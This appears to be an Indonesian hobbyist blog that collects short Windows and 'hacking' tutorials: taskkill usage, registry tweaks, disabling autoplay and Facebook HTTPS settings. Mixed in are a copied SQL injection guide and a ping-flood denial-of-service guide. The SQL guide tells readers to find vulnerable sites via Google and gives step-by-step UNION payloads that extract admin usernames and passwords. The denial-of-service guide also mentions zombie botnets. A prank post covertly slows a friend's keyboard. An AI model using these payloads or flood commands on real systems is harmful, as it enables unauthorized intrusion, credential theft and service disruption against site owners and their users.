kill process dengan command prompt

kill process adalah teknik mematikan proses yang sedang berjalan. kill process dapat dilakukan melalui task manager dan bisa pula melalui command prompt. yang akan kita bahas kali ini adalah kill process dengan command promt.

ada beberapa cara untuk mematikan proses melalui command prompt diantaranya:
1. jika nama proses sudah diketahui misalnya notepad.exe maka cukup ketikan perintah
    taskkill /im notepad.exe
2. untuk melakukan kill process pada single instance atau process id (PID)yang spesific, misalnya yang
   akan dilakukan kill proses adalah PID dari 1303 maka cukup ketikkan
    taskkill /PID 1303
3. untuk melakukan kill process pada semua proses yang ada tapi pada user yang dimiliki
    king, cukup ketikan
    taskkill /f /fI "username eq king"


tutorial diatas saya terjemahkan dari tautan berikut

SQL Injection

SQL injection adalah teknik hacking yang memanfaatkan bug dalam website yang biasanya menggunakan PHP atau ASP. tutorial kali ini saya salin dari kaskus. silakan disimak gan..
Yang perlu di ketahui sebelum sql injection pada mysql:
karakter: ' atau -
comments: /* atau --
information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x


Langkah Pertama


carilah target di gogel banyak tuh..
misal: [site]/berita.php?id=100

Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada pesan error.
contoh:
[site]/berita.php?id=100' atau
[site]/berita.php?id=-100
ehingga muncul pesan error seperti berikut (masih bnyak lagi):



Langkah Kedua

mencari dan menghitung jumlah table yang ada dalam databasenya..
gunakan perintah : order by

contoh:


[site]/berita.php?id=-100+order+by+1--

ceklah secara step by step (satupersatu)...
misal:


[site]/news.php?id=-100+order+by+1--
[site]/news.php?id=-100+order+by+2--
[site]/news.php?id=-100+order+by+3--


sehingga muncul error atau hilang pesan error...
misal: [site]/berita.php?id=-100+order+by+20--

berarti yang kita ambil adalah sampai angka 19
menjadi [site]/berita.php?id=-100+order+by+19--



Langkah Tiga

untuk mengeluarkan angka berapa yang muncul gunakan perintah union
karena tadi error sampai angka 9
maka: [site]/berita.php?id=-100+union+select+1,2 ,3,4,5,6,7,8--

ok seumpama yg keluar angka 5

gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi
misal: [site]/berita.php?id=-100+union+select+1,2 ,3,4,version(),6,7,8-- atau
[site]/berita.php?id=-100+union+select+1,2 ,3,4,@@version,6,7,8--

ingat versi yg digunakan seumpama versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_sch ema..

untuk versi 5 berarti kita beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah From+Information_sch ema..

Langkah Ke empat


untuk menampilkan table yg ada pada web tsb adalah
perintah table_name >>> dimasukan pada angka yg keluar tadi
perintah +from+information_sc hema.tables/* >>> dimasukan setelah angka terakhir



[site]/berita.php?id=-100+union+select+1,2 ,3,4,table_name,6,7, 8+from+information_s chema.tables--

seumpama table yang muncul adalah "admin"



Langkah kelima


untuk menampilkan semua isi dari table tsb adalah
perintah group_concat(table_n ame) >>> dimasukan pada angka yg keluar tadi
perintah +from+information_sc hema.tables+where+ta ble_schema=database( ) >> dimasukan setelah angka terakhir



[site]/berita.php?id=-100+union+select+1,2 ,3,4,group_concat(ta ble_name),6,7,8+from +information_schema. tables+where+table_s chema=database()--

Langkah ke enam..

perintah group_concat(column_ name) >> dimasukan pada angka yg keluar tadi
perintah +from+information_sc hema.columns+where+t able_name=0xhexa-- >>> dimasukan setelah angka terakhir



[site]/berita.php?id=-100+union+select+1,2 ,3,4,group_concat(co lumn_name),6,7,8+fro m+information_schema ​.columns+where+tabl e_name=0xhexa--

pada tahap ini kita wajib untuk meng convert text to hex kata pada isi table menjadi hexadecimal
website yg digunakan untuk konversi :


contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646D696E



[site]/berita.php?id=-100+union+select+1,2 ,3,4,group_concat(co lumn_name),6,7,8+fro m+information_schema ​.columns+where+tabl e_name=0x61646D696E--


Langkah ke tujuuh..



memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara

perintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan) >> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >> dimasukan setelah angka terakhir

Contoh :

[site]/berita.php?id=-100+union+select+1,2 ,3,4,concat_ws(0x3a, hasil isi column),6,7,8+from+( nama table berasal)--

contoh kata yang keluar adalah id,username,password

Contoh :

[site]/berita.php?id=-100+union+select+1,2 ,3,4,concat_ws(0x3a, id,username,password ),6,7,8+from+admin--
 

cara ini sudah saya coba dan berhasil. silakan coba dan gunakan dengan bijak :)

melindungi akun facebook dari para sniffer

kali ini akan saya bahas bagaimana melindungi akun facebook dari para sniffer, sniffer adalah orang yang melakukan sniffing dan sniffing adalah teknik mencuri data dengan melihat traffic data yang keluar masuk. untuk bagaimana melakukan sniffing mungkin akan saya bahas di postingan selanjutnya.
yang akan dibahas kali ini adalah melindungi akun facebook dari teknik hakcing sniffing,
salah satu cara melindungi akun kita adalah dengan mengenkripsi username dan password yang akan dikirimkan saat login facebook,
cara ini diberitahukan oleh teman saya okky057 :)

1. saat anda login facebook gunakan "https" atau secure http karena dengan ini maka data keluar masuk dienkripsi. https://facebook.com
2. setelah anda berhasil login, sebaiknya rubah pengaturan browsing facebook anda ke secure http (https) dengan cara klik account dan pilih account setting

3. klik account security

4. beri tanda centang pada "browse facebook on scure connection"

jika hacker tidak tahu bagaimana mendekrip data yang keluar maka akun anda lumayan aman dari para sniffer :)

**tidak semua situs bisa menggunakan secure http

serangan DOS(Denial Of Service)Sederhana

sebelum saya menyampaikan cara melakukan denial of service yang sederhana, saya ingin mengingatkan anda sekalian bahwa cara ini hanya sekedar untuk pengetahuan kita dan tidak untuk digunakan untuk hal yang tidak benar.
tulisan saya kali ini akan membahas tentang bagaimana melakukan serangan denial of service yang dapat dengan mudah anda lakukan.denial of service ini merupakan cara klasik untuk membuat down server web namun cara ini bisa sangat merugikan bila dilakukan oleh hacker hebat.
sebelum melakukan serangan denial of service, ada baiknya anda mengetahui apa itu denial of service dan bagaimana cara melakukannya.
denial of service adalah jenis serangan yang bertujuan untuk membuat target serangan menjadi tidak dapat melakukan aktifitasnya. contohnya pada web server, web server yang kita serang akan down karena serangan ini sehingga web server tidak dapat diakses untuk sementara waktu.
denial of service ini banyak ragam dan caranya, dengan anda mematikan listrik pada suatu perusahaanpun itu sudah dapat dikatakan denial of service tapi yang akan kita bahas kali ini adalah denial of service dengan command promt. sebelum anda melakukan serangan dos anda harus mengetahui ip target, targetnya adalah komputer yang terkoneksi dengan LAN maka anda bisa menggunakan Ip Scanner, jika targetnya adalah web server anda dapat melakukan ping untuk mendapatkan ip nya.

langkah-langkah yang harus anda lakukan untuk melakukan serangan denial of service adalah sebagai berikut:
1. masuk command promt dengan mengetikan cmd pada menu run
2. saya contohkan target adalah web server, untuk mengetahui ip target saya melakukan ping terlebih dahulu untuk mendapatkan ip target,

3. setelah itu ketikkan ping [ip target] -t -l 15000

4. anda tekan enter :)

cara kerja dari dos diatas adalah untuk membuat traffic data ke web server menjadi banyak sehingga webserver down.
serangan ini tidak akan terlalu terasa oleh target jika hanya diserang oleh satu komputer tapi bagaimana jadinya jika dos ini silakukan oleh 10.000 komputer zombie?(komputer zombie adalah sebutan untuk komputer yang terjangkit trojan sehingga bisa dikendalikan hacker)pasti target akan kewalahan

salah satu penanganan dari serangan dos ini adalah dengan memberikan batasan paket data yang bisa diterima oleh server.

sekian tulisan yang dapat saya sampaikan kali ini semoga bisa bermanfaat untuk kita semua.

How to Turn Off Autoplay to Prevent Virus Infection

Of course your particular computer technology users are already familiar with something called a virus. We have a lot of virus and its variants are each time trying to reproduce themselves by doubling itself automatically without us knowing then how do I prevent it? one way to prevent it is to turn off autoplay on your computer so that when there is flash or disc into your computer computer you are not directly affected because the autorun which brought visu. How to disable aoutoplay on your computer is easy even for beginners.

Here is one of the steps you can do

1. Click the Start menu and on the "run" write "gpedit.msc" or if you are windows 7 you can write it on the search menu in start menu
2. After that will appear below this bleak view, and which one to choose is the administrative templates> system>
Then the image will appear as follows:
3. To the right you can double-click Turn off autoplay or you can right click> properties are like the picture above


4. Once you do that then you check the radio button labeled "enable" then at the bottom of the combobox you select for all drives
With the action set above the autorun which is carried by flash or disc will not directly run on your windows

Hopefully with the above tutorial you can better protect your PC from virus problems that interfere with :)

Melumpuhkan Keyboard Teman Anda :)

Tutorial hack for security kali ini akan membahas bagaimana cara membuat keyboard seolah tidak berfungsi namun sebenarnya teknik kali ini hanya membuat delay dari inputan keyboard sehingga lebih lama merespon. Saya berharap teknik ini tidak digunakan untuk hal yang tidak benar karena tulisan ini dibuat semata-mata hanya untuk pembelajaran kita semata.

Langsung saja menuju teknik pelumpuhan keyboard, langkahnya seperti berikut:

1.masuk control panel kemudian pilih accessbiliti option kemudian pilih tab keyboard

2. setelah anda pilih tab keyboard, kemdian anda beri tanda check  pada use filter key dan kemudian anda klik setting

3.pada filter option anda klik setting

4. setelah itu anda rubah repeat delay dan repeat rate nya ke2.0

5. klik OK

Silakan anda buka Microsoft office atau sejenisnya dan rasakan bagaimana “rusaknya” keyboard anda :) jika anda ingin bercanda dengan teman anda mohon supaya segera memberitahukannya segera supaya teman anda tidak frustasi dengan keyboardnya yang lumpuh

Hack Registry: Menyembunyikan RUN

kali ini saya akan membahas tentang bagaimana menyembunyikan menu run, tentunya ini bermanfaat supaya orang lain tidak bisa mengakses wilayah yang menurut anda tidak boleh diakses oleh orang lain.
disini kita akan memainkan registri editor untuk melakukan proses hacking untuk keamanan komputer kita, karena kita masih dalam tahap belajar jadi ada baiknya kita amankan data pada registry dengan cara meng-export-nya kita sehingga bila terjadi kesalahan yang kita lakukan maka kita dapat mengembalikannya seperti semula.
langkah awal untuk meng-export registry editor adalah sebagai berikut:

1. membuka registry editor dengan cara klik start menu>run> ketikan "regedit"

2.pilih menu file>export pada export range ada dua plihan yaitu all dan selectec branch, jika yang dipilih adalah selected maka registry tertenty saja yang akan diamankan atau di backup sedangkan bila pilih all maka akan semuanya di backup

3. save di direktory yang diinginkan
setelah anda berhasil melakukan backup atau mengamankan registry tadi, maka selanjutnya anda akan mencoba bagaimana cara mengembalikan data registry yang sudah di backup tadi, langkahnya adalah sebagai berikut:
1. buka registry editor
2. buka menu file>import

3. pilih dimana lokasi tadi dibackup

setelah mempelajari bagaimana membackup data registry tadi maka sekarang kita akan melakukan hacking terhadap windows untuk meyembunyikan run , langkahnya adalah sebagai berikut
1. menyembunyikan run
a. buka registry editor
b. akses key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer. periksa apakah ada value DWORD bernama NoRun atau tidak, jika tidak ada maka kita akan membuatnya dan bila telah ada cukup anda perbaharui seditkit.
 
c. untuk membuat value DWORD anda bisa klik kanan>new>DWORD value kemudian beri nama NoRun

d. ubah nilainya menjadi 1 dengan cara klik kanan>modify sepeprti gambar berikut

setelah melakukannya anda dapat melakukan restart untuk melihat efek run pada start menu tidak nampak :)

untuk hack registry yang lainnya akan saya muat di tulisan saya selanjutnya, semoga bermanfaat untuk anda :)

Mematikan Autoplay untuk Mencegah Virus Masuk

Tentu anda pengguna teknologi khususnya computer sudah tidak asing dengan sesuatu yang bernama virus. Saat ini terdapat banyak virus beserta variannya yang setiap saat berusaha memperbanyak diri dengan menggandakan diri secara otomatis tanpa kita sadari lalu bagaimana cara mencegahnya?salah satu cara untuk mencegahnya adalah dengan mematikan autoplay di computer anda sehingga bila ada flashdisk atau disc yang masuk ke computer anda computer anda tidak langsung terjangkit karena autorun yang dibawa visu. Cara menonaktifkan aoutoplay pada computer anda sangatlah mudah meskipun untuk pemula.

Berikut ini adalah salah satu langkah yang dapat anda lakukan

1. Klik start menu dan pada “run” tuliskan “gpedit.msc” atau bila anda pengguna windows 7 anda dapat menuliskannya pada menu search di start menu

2. Setelah itu akan muncul tampilan seprti dibawah ini dan yang harus anda pilih adalah administrative template>system>

Kemudian akan muncul seperti gambar berikut:

 

3. Disebelah kanan anda bisa double click turn off autoplay atau anda bisa click kanan>properties seperi gambar diatas

4. Setelah anda melakukannya kemudian anda check radio button yang bertuliskan “enable”  kemudian dibagian bawah pada combobox anda pilih for all drive

Dengan aksi seperti diatas maka autorun yang dibawa oleh flashdisk atau disc tidak akan langsung berjalan pada windows anda

Semoga dengan tutorial diatas anda bisa lebih menjaga PC anda dari gangguan virus yang mengganggu J